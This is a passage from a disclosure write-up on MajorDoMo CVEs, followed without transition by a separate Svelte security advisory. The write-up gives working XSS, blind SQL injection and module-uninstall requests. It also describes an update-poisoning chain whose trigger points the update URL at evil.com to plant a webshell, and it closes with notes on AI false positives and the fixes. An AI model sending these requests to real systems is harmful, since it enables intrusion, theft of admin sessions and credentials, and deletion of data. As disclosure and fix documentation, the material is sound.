echo "<p>Command: <b>" . $qry . "</b></p>";
```

```
GET /command.php?qry="><img src="x">
```

CVE-2026-27177: Stored XSS via Property Set (High)
--------------------------------------------------

The `/objects/?op=set` endpoint is intentionally unauthenticated - IoT devices use it. The handler is minimal:

```
// objects/index.php:131 - source, no auth
if ($op == 'set') {
    $obj->setProperty($p, $v);  // ← stored raw in DB
    echo "OK";
}
```

The sink is the admin panel’s property editor template, which renders values without escaping:

```

<p>Source → [#SOURCE#] → [#UPDATED#]</p>

<textarea name="value[#ID#]">[#VALUE#]</textarea>
```

The session cookie (`prj=...`) has no `HttpOnly` flag, making it stealable via JavaScript.

The attack chain: enumerate properties via `/api.php/data/ThisComputer` (returns everything, no auth), poison any property with JS, wait for the admin to open the properties page. The XSS fires from the `SOURCE` field on page load - no click needed.

```
GET /objects/?object=ThisComputer&op=set&p=testProp&v=<img src="x">
```

Bonus: `/objects/?op=get` returns values with `Content-Type: text/html`, so navigating directly to the get endpoint also fires the payload in the browser.

This one came from re-examining the false positives. The AI had flagged `/objects/?method=` as “unauthenticated method execution” and I dismissed it - you can call methods but you can’t inject your own code, so it’s not RCE. The methods are stored PHP that gets `eval()`’d, but the attacker doesn’t control the code.

What I missed: some default methods pass attacker-controlled params directly into `say()`. For example, `ThisComputer.VolumeLevelChanged`:

```
// source - method code stored in DB, params from $_REQUEST
$volume=round(65535*$params['VALUE']/100);
say("Изменилась громкость до ".$params['VALUE']." процентов");
```

`$params['VALUE']` comes from `$_REQUEST`. The `say()` function stores the message raw in the `shouts` table:

```
// lib/messages.class.php:140 - say() stores raw, no escaping
function say($ph, $level = 0, $member_id = 0, $source = '') {
    $rec = array();
    $rec['MESSAGE'] = $ph;  // ← raw HTML/JS stored in DB
    $rec['ID'] = SQLInsert('shouts', $rec);
}
```

The shoutbox widget renders the message without escaping in two places:

```
// shouts_search.inc.php:159 - PHP rendering sink
$txtdata .= "<b>" . $res[$i]['NAME'] . "</b>: " . nl2br($res[$i]['MESSAGE']) . "<br>";
// nl2br() converts newlines but does NOT escape HTML
```

```

[#MESSAGE#]

```

The dashboard widget auto-refreshes every 3 seconds - no click needed.

```
GET /objects/?method=ThisComputer.VolumeLevelChanged&VALUE=<img src="x">
```

Payload stored in DB as `Изменилась громкость до <img src="x"> процентов`. Next time any admin loads the dashboard, XSS fires. Same cookie steal as Bug 4, different injection vector.

CVE-2026-27179: SQL Injection in Commands Module (High)
-------------------------------------------------------

This one was hiding in plain sight. The commands module’s search file interpolates `$_GET['parent']` directly into SQL:

```
$tmp = SQLSelectOne("SELECT ID FROM commands WHERE PARENT_ID='" . $_GET['parent'] . "'");
```

Four queries in the same block, all using the unsanitized value. The module is loadable without authentication via `/objects/?module=commands` - MajorDoMo’s object endpoint includes arbitrary modules by name and calls their `usual()` method.

Time-based blind SQLi confirms it cleanly:

```
GET /objects/?module=commands&parent=' UNION SELECT SLEEP(3)-- -
```

Baseline response: 27ms. With `SLEEP(3)`: 3.019s. With `SLEEP(5)`: 5.022s. Precise to the millisecond.

The interesting detail: `OR SLEEP(3)` doesn’t work here the way you’d expect. The `commands` table has many rows, and MySQL evaluates `SLEEP()` per row, so `OR SLEEP(3)` with 30 rows means a 90-second delay that times out. `UNION SELECT` executes exactly once - that’s the right technique for multi-row tables.

From here it’s standard blind extraction - database names, table contents, credentials. MajorDoMo stores admin passwords as unsalted MD5 in the `users` table, so extraction leads directly to admin panel access.

CVE-2026-27180: Supply Chain RCE via Update Poisoning (Critical)
----------------------------------------------------------------

This one came from systematically checking which modules expose `admin()` through `usual()` without authentication. Fourteen modules do this. Most are harmless because the dangerous code paths check `$this->mode` or `$this->view_mode`, which only get set when `getParams()` is called - and `getParams()` is never called through the `/objects/?module=X` entry point.

But `saverestore` uses `gr('mode')` instead of `$this->mode`. `gr()` reads directly from `$_REQUEST`. Two handlers are reachable:

```
// saverestore.class.php - source, reachable without auth via /objects/?module=saverestore
if (gr('mode') == 'auto_update_settings') {
    $this->config['MASTER_UPDATE_URL'] = gr('set_update_url');  // ← attacker URL stored in DB
    $this->saveConfig();
}

if (gr('mode') == 'force_update') {
    $this->autoUpdateSystem();  // ← triggers the full chain below
}
```

`autoUpdateSystem()` fetches an Atom feed from the (now poisoned) URL, validates it trivially, then downloads and deploys the tarball:

```
// saverestore.class.php:1787-1835 - autoUpdateSystem() chain
$update_url = $this->getUpdateURL();  // ← reads poisoned URL from DB config
$github_feed_url = str_replace('/archive/', '/commits/', $update_url);
$github_feed_url = str_replace('.tar.gz', '.atom', $github_feed_url);
$github_feed = getURL($github_feed_url);  // ← fetches attacker's fake Atom feed

// "validation" - attacker controls the server, so this always passes
$items = XMLTreeToArray(GetXMLTree($github_feed))
['feed']['entry'];
$latest_tm = strtotime($items[0]['updated']['textvalue']);
if ($latest_tm && (time() - $latest_tm) / 86400 < $delay) return;  // needs >1 day old

$res = $this->getLatest($out, 1);   // downloads tarball via curl
$res = $this->upload($out, 1);      // extracts and deploys
```

`getLatest()` downloads the tarball with no integrity check:

```
// saverestore.class.php:558-567 - getLatest() downloads with curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);           // ← attacker URL
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // ← no TLS verification
curl_setopt($ch, CURLOPT_FILE, $f);             // ← writes to cms/saverestore/master.tgz
curl_exec($ch);
```

`upload()` extracts the tarball and copies everything to the webroot:

```
// saverestore.class.php:1379,1454 - upload() sinks
exec('tar xzvf ../' . $file);  // ← extracts attacker's tarball

// then copies ALL extracted files to the document root
copyTree(DOC_ROOT . '/cms/saverestore/temp' . $folder, DOC_ROOT, 1);
// ← attacker's PHP files are now live in the webroot
```

The attack chain: poison the URL, serve a fake feed and a tarball containing a PHP webshell, trigger `force_update`. MajorDoMo downloads your tarball and deploys it to its own webroot. Full RCE, two GET requests from the attacker’s side.

```
GET /objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://evil.com/archive/master.tar.gz
GET /objects/?module=saverestore&mode=force_update
```

The PoC is a self-contained Python script that starts an HTTP server, serves both the atom feed and the malicious tarball, poisons the URL, triggers the update, and confirms the webshell was deployed. End to end in about 30 seconds.

CVE-2026-27181: Module Uninstall via Market (High)
--------------------------------------------------

Same root cause as Bug 7, different module. The market module’s `admin()` reads `gr('mode')` and assigns it to `$this->mode` at the start of the method:

```
// market.class.php:141-147 - source
$name = gr('name');   // ← from $_REQUEST
$mode = gr('mode');   // ← from $_REQUEST
if (!$this->mode && $mode) {
    $this->mode = $mode;  // ← makes ALL mode checks reachable without auth
}
```

This makes every `$this->mode` check in the method reachable without auth. The most destructive one is `mode=uninstall`, which reaches `uninstallPlugin()`:

```
// market.class.php:771-797 - the sink
function uninstallPlugin($name, $frame = 0) {
    SQLExec("DELETE FROM plugins WHERE MODULE_NAME LIKE '" . DBSafe($name) . "'");
    if (is_dir(ROOT . 'modules/' . $name)) {
        include_once(ROOT . 'modules/' . $name . '/' . $name . '.class.php');
        SQLExec("DELETE FROM project_modules WHERE NAME LIKE '" . DBSafe($name) . "'");

        eval('$plugin = new ' . $name . ';$plugin->uninstall();');  // calls module's uninstall()

        $this->removeTree(ROOT . 'modules/' . $name);    // ← deletes module files
        $this->removeTree(ROOT . 'templates/' . $name);  // ← deletes template files

        // also deletes cycle script
        $cycle_name = ROOT . 'scripts/cycle_' . $name . '.php';
        if (file_exists($cycle_name)) @unlink($cycle_name);
    }
}
```

One GET request per module, no authentication:

```
GET /objects/?module=market&mode=uninstall&name=dashboard
```

An attacker could iterate through all module names and wipe the entire installation.

The Trap: AI Slop is Real
-------------------------

Honest moment: the AI agents initially reported **12 vulnerabilities**. I almost shipped that. Most of them were garbage - but not all.

My first approach was throwing multiple agents at the entire codebase in parallel. Broad sweep, maximum coverage. The result was a wall of noise. The agents flagged things like `/api.php/method/`, `/objects/?op=set`, `X-Forwarded-For` trust - all by design. MajorDoMo is a home automation platform. IoT sensors need unauthenticated endpoints on the local network. That’s not a bug, that’s the architecture.

Worse, the first PoC script I generated was cheating - it pre-seeded the database with a malicious script via Docker, then “exploited” it. That’s not a remote exploit, that’s a lie.

What actually worked was slowing down. Instead of spraying agents across the whole codebase, I focused on one module at a time, one code path at a time. I’d point the agent at a specific file, read its output, then manually verify the context before moving on. Is `$this->mode` set from `getParams()` or from `gr()`? Does `usual()` call `admin()` directly? Does the template parser actually run through this entry point? These questions matter, and the AI doesn’t ask them on its own.

The difference was night and day. The broad sweep gave me 12 findings, 4 of which were real. The focused approach - going back through the same codebase slowly, checking one module at a time - found the remaining 4. Bugs 7 and 8 both came from patiently tracing the `gr('mode')` vs `$this->mode` distinction across individual modules, not from some automated scan.

It also changed how I handled false positives. Ironically, the AI dismissed `/objects/?op=set` as “by design” and moved on - it took me asking “but can we XSS through it?” to find Bug 4. Bug 5 is another example: AI flagged “unauthenticated method execution” as a vuln, I dismissed it as by-design because you can’t inject code. Both were right. The real vuln was neither - it was the method params flowing unsanitized into `say()` then into the shoutbox template. AI couldn’t see that chain, and I almost didn’t bother looking twice.

And even on the real bugs, AI missed the interesting parts. Bug 2 was initially rated Medium - “blind async command injection, payload sits in a queue until the worker runs.” I asked one question: can we call `cycle_execs.php` from the web? Turns out yes, no auth, and you can race it - start the worker, inject while it polls, RCE in under a second. That bumped it from Medium to Critical.

The lesson: AI finds candidates. You validate them. If you skip the validation step you end up publishing AI slop dressed as security research, and that’s worse than finding nothing. But slow down. Go one file at a time. And go back to your false positives - sometimes the AI flagged the right file for the wrong reason.

Fix
---

PR: [sergejey/majordomo#1177](https://github.com/sergejey/majordomo/pull/1177)

Ten files changed:

*   `modules/panel.class.php` - add `exit` after redirect + auth check before ajax include
*   `rc/index.php` - `escapeshellarg()` + command name validation
*   `command.php` - `htmlspecialchars()` on `$qry`
*   `templates/objects/objects_edit_properties.html` - use `VALUE_HTML` and `SOURCE_HTML` instead of raw values
*   `modules/objects/objects_edit.inc.php` - add `SOURCE_HTML` with `htmlspecialchars()`
*   `objects/index.php` - `Content-Type: text/plain` on property get
*   `modules/shoutbox/shouts_search.inc.php` - `htmlspecialchars()` on MESSAGE and NAME before rendering
*   `templates/shoutbox/shouts_search_admin.html` - use `MESSAGE_HTML` instead of raw `MESSAGE`
*   `modules/commands/commands_search.inc.php` - `(int)` cast on `parent` parameter in all SQL queries
*   `modules/saverestore/saverestore.class.php` - gate `force_update` and `auto_update_settings` behind `$this->action == 'admin'`
*   `modules/market/market.class.php` - gate `gr('mode')` assignment behind `$this->action == 'admin'`


CVEs affecting the Svelte ecosystem

# CVEs affecting the Svelte ecosystem
We’ve released patches for 5 vulnerabilities across `devalue`, `svelte`, `@sveltejs/kit`, and `@sveltejs/adapter-node`. Here’s what you need to know:

Upgrade [now](https://svelte.dev/blog/cves-affecting-the-svelte-ecosystem).

If you’re using any of these packages, upgrade them to their corresponding non-vulnerable versions:

*   `devalue`: `5.6.2`
*   `svelte`: `5.46.4`
*   `@sveltejs/kit`: `2.49.5`
*   `@sveltejs/adapter-node`: `5.5.1`

For cross-dependent packages — `svelte` and `@sveltejs/kit` depend on `devalue` — patched versions already include upgraded dependencies.

We’re extremely thankful to all of the security researchers who responsibly disclosed these vulnerabilities and worked with us to get them fixed, to the security team at Vercel who helped us navigate the disclosure process, and to the maintainers who worked to publish the fixes.

Over the last few weeks, we’ve seen a spate of high profile vulnerabilities affecting popular tools across the web development ecosystem. While they are unfortunate, it has been encouraging to see the community pulling together to keep end users safe. Using the lessons learned from these vulnerabilities, we will invest in processes that will help catch future bugs during the writing and review phases, _before_ they go live.

If you think you have discovered a vulnerability in a package maintained by the Svelte team, we urge you to privately report it via the Security tab on the repo in question (or the [Svelte repo](https://github.com/sveltejs/svelte/security/), if unsure).

Details[](#Details)
-------------------

Full reports are available in the published security advisories, but we’ve included a brief summary of each below.

### [CVE-2026-22775](https://github.com/sveltejs/devalue/security/advisories/GHSA-g2pg-6438-jwpf): DoS in devalue.parse due to memory/CPU exhaustion[](#Details-CVE-2026-22775:-DoS-in-devalue.parse-due-to-memory-CPU-exhaustion)

*   Packages affected:
    *   `devalue`
*   You’re affected if:
    *   You’re using `devalue` versions `5.1.0` through `5.6.1`, and
    *   You’re parsing user-controlled input
*   Effects:
    *   A malicious payload can cause arbitrarily large memory allocation, potentially crashing the process
    *   SvelteKit applications using remote functions are vulnerable, as the parameters are run through `devalue.parse`
    *   If you don’t have remote functions enabled, SvelteKit is not vulnerable

### [CVE-2026-22774](https://github.com/sveltejs/devalue/security/advisories/GHSA-vw5p-8cq8-m7mv): DoS in devalue.parse due to memory exhaustion[](#Details-CVE-2026-22774:-DoS-in-devalue.parse-due-to-memory-exhaustion)

(Yes, this is very similar to the previous CVE. No, it is not the same!)

*   Packages affected:
    *   `devalue`
*   You’re affected if:
    *   You’re using `devalue` versions `5.3.0` through `5.6.1`, and
    *   You’re parsing user-controlled input
*   Effects:
    *   A malicious payload can cause arbitrarily large memory allocation, potentially crashing the process
    *   SvelteKit applications using remote functions are vulnerable, as the parameters are run through `devalue.parse`
    *   If you don’t have remote functions enabled, SvelteKit is not vulnerable

### [CVE-2026-22803](https://github.com/sveltejs/kit/security/advisories/GHSA-j2f3-wq62-6q46): **Memory amplification DoS in Remote Functions binary form deserializer**[](#Details-CVE-2026-22803:-Memory-amplification-DoS-in-Remote-Functions-binary-form-deserializer)

*   Packages affected:
    *   `@sveltejs/kit`
*   You’re affected if:
    *   You’re using SvelteKit versions `2.49.0` through `2.49.4`, and
    *   You’ve enabled the `experimental.remoteFunctions` flag, and
    *   You’re using `form`
*   Effects:
    *   Users can submit a malicious request that causes your application to hang and allocate arbitrarily-large amounts of memory

### [CVE-2025-67647](https://github.com/sveltejs/kit/security/advisories/GHSA-j62c-4x62-9r35): **Denial of service and possible SSRF when using prerendering**[](#Details-CVE-2025-67647:-Denial-of-service-and-possible-SSRF-when-using-prerendering)

*   Packages affected:
    *   `@sveltejs/kit`
    *   `@sveltejs/adapter-node`
*   You’re vulnerable to DoS if:
    *   You’re using `@sveltejs/kit` versions `2.44.0` through `2.49.4`, and
    *   Your app has at least one prerendered route
*   You’re vulnerable to DoS and SSRF if:
    *   You’ve using `@sveltejs/kit` versions `2.19.0` through `2.49.4`, and
    *   Your app has at least one prerendered route, and
    *   You’re using `@sveltejs/adapter-node` without a configured `ORIGIN` environment variable, and you are not using a reverse proxy that implements Host header validation
*   Effects:
    *   DoS causes the server process to die
    *   SSRF allows access to internal resources that can be reached without authentication from SvelteKit’s server runtime
    *   If the stars align, it’s possible to obtain SXSS via cache poisoning by forcing a potential CDN to cache an XSS returned by the attacker’s server (the latter being able to specify the cache-control of their choice)

### [CVE-2025-15265](https://github.com/sveltejs/svelte/security/advisories/GHSA-6738-r8g5-qwp3): XSS via hydratable[](#Details-CVE-2025-15265:-XSS-via-hydratable)

*   Packages affected:
    *   `svelte`
*   You’re vulnerable if:
    *   You’re using `svelte` versions `5.46.0` through `5.46.3`, and
    *   You’re using [`hydratable`](https://svelte.dev/docs/svelte/hydratable), and you’re passing unsanitized, user-controlled strings in as keys
*   Effects:
    *   Your users are vulnerable to XSS if an attacker can manage to get a controlled key into `hydratable` that is then returned to another user